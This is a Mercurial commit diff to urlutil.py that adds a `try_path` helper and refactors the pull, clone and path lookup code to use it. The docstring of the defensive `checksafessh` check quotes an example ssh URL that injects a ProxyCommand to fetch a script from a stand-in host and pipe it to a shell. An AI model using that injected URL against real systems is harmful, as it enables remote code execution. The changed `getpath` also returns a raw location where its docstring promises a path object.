url_util: introduce a `try_path` function

That function… try a build a path, returning None on failure. This helps us to simplify various part of the existing code.

Differential Revision: https://phab.mercurial-scm.org/D10437

mercurial/utils/urlutil.py

@@ -1,792 +1,802 b''
 # utils.urlutil - code related to [paths] management
 #
 # Copyright 2005-2021 Olivia Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 import os
 import re as remod
 import socket
 
 from ..i18n import _
 from ..pycompat import (
     getattr,
     setattr,
 )
 from .. import (
     encoding,
     error,
     pycompat,
     urllibcompat,
 )
 
 
 if pycompat.TYPE_CHECKING:
     from typing import (
         Union,
     )
 
 urlreq = urllibcompat.urlreq
 
 
 def getport(port):
     # type: (Union[bytes, int]) -> int
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # type: (bytes, bool, bool) -> None
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     def copy(self):
         u = url(b'temporary useless value')
         u.path = self.path
         u.scheme = self.scheme
         u.user = self.user
         u.passwd = self.passwd
         u.host = self.host
         u.path = self.path
         u.query = self.query
         u.fragment = self.fragment
         u._localpath = self._localpath
         u._hostport = self._hostport
         u._origpath = self._origpath
         return u
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         # type: () -> bytes
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     # type: (bytes) -> bool
     return bool(url(path).scheme)  # cast to help pytype
 
 
 def hasdriveletter(path):
     # type: (bytes) -> bool
     return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     # type: (bytes) -> bytes
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     # type: (bytes) -> None
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     # type: (bytes) -> bytes
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     # type: (bytes) -> bytes
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
+def try_path(ui, url):
+    """try to build a path from a url
+
+    Return None if no Path could built.
+    """
+    try:
+        # we pass the ui instance are warning might need to be issued
+        return path(ui, None, rawloc=url)
+    except ValueError:
+        return None
+
+
 def get_push_paths(repo, ui, dests):
     """yields all the `path` selected as push destination by `dests`"""
     if not dests:
         if b'default-push' in ui.paths:
             yield ui.paths[b'default-push']
         elif b'default' in ui.paths:
             yield ui.paths[b'default']
         else:
             raise error.ConfigError(
                 _(b'default repository not configured!'),
                 hint=_(b"see 'hg help config.paths'"),
             )
     else:
         for dest in dests:
             yield ui.getpath(dest)
 
 
 def get_pull_paths(repo, ui, sources, default_branches=()):
     """yields all the `(path, branch)` selected as pull source by `sources`"""
     if not sources:
         sources = [b'default']
     for source in sources:
         if source in ui.paths:
             url = ui.paths[source].rawloc
         else:
             # Try to resolve as a local path or URI.
-            try:
-                # we pass the ui instance are warning might need to be issued
-                url = path(ui, None, rawloc=source).rawloc
-            except ValueError:
+            path = try_path(ui, source)
+            if path is not None:
+                url = path.rawloc
+            else:
                 url = source
         yield parseurl(url, default_branches)
 
 
 def get_unique_push_path(action, repo, ui, dest=None):
     """return a unique `path` or abort if multiple are found
 
     This is useful for command and action that does not support multiple
     destination (yet).
 
     Note that for now, we cannot get multiple destination so this function is "trivial".
 
     The `action` parameter will be used for the error message.
     """
     if dest is None:
         dests = []
     else:
         dests = [dest]
     dests = list(get_push_paths(repo, ui, dests))
     assert len(dests) == 1
     return dests[0]
 
 
 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
     """return a unique `(path, branch)` or abort if multiple are found
 
     This is useful for command and action that does not support multiple
     destination (yet).
 
     Note that for now, we cannot get multiple destination so this function is "trivial".
 
     The `action` parameter will be used for the error message.
     """
     if source is None:
         if b'default' in ui.paths:
             url = ui.paths[b'default'].rawloc
         else:
             # XXX this is the historical default behavior, but that is not
             # great, consider breaking BC on this.
             url = b'default'
     else:
         if source in ui.paths:
             url = ui.paths[source].rawloc
         else:
             # Try to resolve as a local path or URI.
-            try:
-                # we pass the ui instance are warning might need to be issued
-                url = path(ui, None, rawloc=source).rawloc
-            except ValueError:
+            path = try_path(ui, source)
+            if path is not None:
+                url = path.rawloc
+            else:
                 url = source
     return parseurl(url, default_branches)
 
 
 def get_clone_path(ui, source, default_branches=()):
     """return the `(origsource, path, branch)` selected as clone source"""
     if source is None:
         if b'default' in ui.paths:
             url = ui.paths[b'default'].rawloc
         else:
             # XXX this is the historical default behavior, but that is not
             # great, consider breaking BC on this.
             url = b'default'
     else:
         if source in ui.paths:
             url = ui.paths[source].rawloc
         else:
             # Try to resolve as a local path or URI.
-            try:
-                # we pass the ui instance are warning might need to be issued
-                url = path(ui, None, rawloc=source).rawloc
-            except ValueError:
+            path = try_path(ui, source)
+            if path is not None:
+                url = path.rawloc
+            else:
                 url = source
     clone_path, branch = parseurl(url, default_branches)
     return url, clone_path, branch
 
 
 def parseurl(path, branches=None):
     '''parse url#branch, returning (url, (branch, branches))'''
     u = url(path)
     branch = None
     if u.fragment:
         branch = u.fragment
         u.fragment = None
     return bytes(u), (branch, branches or [])
 
 
 class paths(dict):
     """Represents a collection of paths and their configs.
 
     Data is initially derived from ui instances and the config files they have
     loaded.
     """
 
     def __init__(self, ui):
         dict.__init__(self)
 
         for name, loc in ui.configitems(b'paths', ignoresub=True):
             # No location is the same as not existing.
             if not loc:
                 continue
             loc, sub_opts = ui.configsuboptions(b'paths', name)
             self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
 
         for name, p in sorted(self.items()):
             p.chain_path(ui, self)
 
     def getpath(self, ui, name, default=None):
         """Return a ``path`` from a string, falling back to default.
 
         ``name`` can be a named path or locations. Locations are filesystem
         paths or URIs.
 
         Returns None if ``name`` is not a registered path, a URI, or a local
         path to a repo.
         """
         # Only fall back to default if no path was requested.
         if name is None:
             if not default:
                 default = ()
             elif not isinstance(default, (tuple, list)):
                 default = (default,)
             for k in default:
                 try:
                     return self[k]
                 except KeyError:
                     continue
             return None
 
         # Most likely empty string.
         # This may need to raise in the future.
         if not name:
             return None
-
-        try:
+        if name in self:
             return self[name]
-        except KeyError:
+        else:
             # Try to resolve as a local path or URI.
-            try:
-                # we pass the ui instance are warning might need to be issued
-                return path(ui, None, rawloc=name)
-            except ValueError:
+            path = try_path(ui, name)
+            if path is None:
                 raise error.RepoError(_(b'repository %s does not exist') % name)
+            return path.rawloc
 
 
 _pathsuboptions = {}
 
 
 def pathsuboption(option, attr):
     """Decorator used to declare a path sub-option.
 
     Arguments are the sub-option name and the attribute it should set on
     ``path`` instances.
 
     The decorated function will receive as arguments a ``ui`` instance,
     ``path`` instance, and the string value of this option from the config.
     The function should return the value that will be set on the ``path``
     instance.
 
     This decorator can be used to perform additional verification of
     sub-options and to change the type of sub-options.
     """
 
     def register(func):
         _pathsuboptions[option] = (attr, func)
         return func
 
     return register
 
 
 @pathsuboption(b'pushurl', b'pushloc')
 def pushurlpathoption(ui, path, value):
     u = url(value)
     # Actually require a URL.
     if not u.scheme:
         ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
         return None
 
     # Don't support the #foo syntax in the push URL to declare branch to
     # push.
     if u.fragment:
         ui.warn(
             _(
                 b'("#fragment" in paths.%s:pushurl not supported; '
                 b'ignoring)\n'
             )
             % path.name
         )
         u.fragment = None
 
     return bytes(u)
 
 
 @pathsuboption(b'pushrev', b'pushrev')
 def pushrevpathoption(ui, path, value):
     return value
 
 
 class path(object):
     """Represents an individual path and its configuration."""
 
     def __init__(self, ui, name, rawloc=None, suboptions=None):
         """Construct a path from its config options.
 
         ``ui`` is the ``ui`` instance the path is coming from.
         ``name`` is the symbolic name of the path.
         ``rawloc`` is the raw location, as defined in the config.
         ``pushloc`` is the raw locations pushes should be made to.
 
         If ``name`` is not defined, we require that the location be a) a local
         filesystem path with a .hg directory or b) a URL. If not,
         ``ValueError`` is raised.
         """
         if not rawloc:
             raise ValueError(b'rawloc must be defined')
 
         # Locations may define branches via syntax <base>#<branch>.
         u = url(rawloc)
         branch = None
         if u.fragment:
             branch = u.fragment
             u.fragment = None
 
         self.url = u
         # the url from the config/command line before dealing with `path://`
         self.raw_url = u.copy()
         self.branch = branch
 
         self.name = name
         self.rawloc = rawloc
         self.loc = b'%s' % u
 
         self._validate_path()
 
         _path, sub_opts = ui.configsuboptions(b'paths', b'*')
         self._own_sub_opts = {}
         if suboptions is not None:
             self._own_sub_opts = suboptions.copy()
             sub_opts.update(suboptions)
         self._all_sub_opts = sub_opts.copy()
 
         self._apply_suboptions(ui, sub_opts)
 
     def chain_path(self, ui, paths):
         if self.url.scheme == b'path':
             assert self.url.path is None
             try:
                 subpath = paths[self.url.host]
             except KeyError:
                 m = _(b'cannot use `%s`, "%s" is not a known path')
                 m %= (self.rawloc, self.url.host)
                 raise error.Abort(m)
             if subpath.raw_url.scheme == b'path':
                 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
                 m %= (self.rawloc, self.url.host)
                 raise error.Abort(m)
             self.url = subpath.url
             self.rawloc = subpath.rawloc
             self.loc = subpath.loc
             if self.branch is None:
                 self.branch = subpath.branch
             else:
                 base = self.rawloc.rsplit(b'#', 1)[0]
                 self.rawloc = b'%s#%s' % (base, self.branch)
             suboptions = subpath._all_sub_opts.copy()
             suboptions.update(self._own_sub_opts)
             self._apply_suboptions(ui, suboptions)
 
     def _validate_path(self):
         # When given a raw location but not a symbolic name, validate the
         # location is valid.
         if (
             not self.name
             and not self.url.scheme
             and not self._isvalidlocalpath(self.loc)
         ):
             raise ValueError(
                 b'location is not a URL or path to a local '
                 b'repo: %s' % self.rawloc
             )
 
     def _apply_suboptions(self, ui, sub_options):
         # Now process the sub-options. If a sub-option is registered, its
         # attribute will always be present. The value will be None if there
         # was no valid sub-option.
         for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
             if suboption not in sub_options:
                 setattr(self, attr, None)
                 continue
 
             value = func(ui, self, sub_options[suboption])
             setattr(self, attr, value)
 
     def _isvalidlocalpath(self, path):
         """Returns True if the given path is a potentially valid repository.
         This is its own function so that extensions can change the definition of
         'valid' in this case (like when pulling from a git repo into a hg
         one)."""
         try:
             return os.path.isdir(os.path.join(path, b'.hg'))
         # Python 2 may return TypeError. Python 3, ValueError.
         except (TypeError, ValueError):
             return False
 
     @property
     def suboptions(self):
         """Return sub-options and their values for this path.
 
         This is intended to be used for presentation purposes.
         """
         d = {}
         for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
             value = getattr(self, attr)
             if value is not None:
                 d[subopt] = value
         return d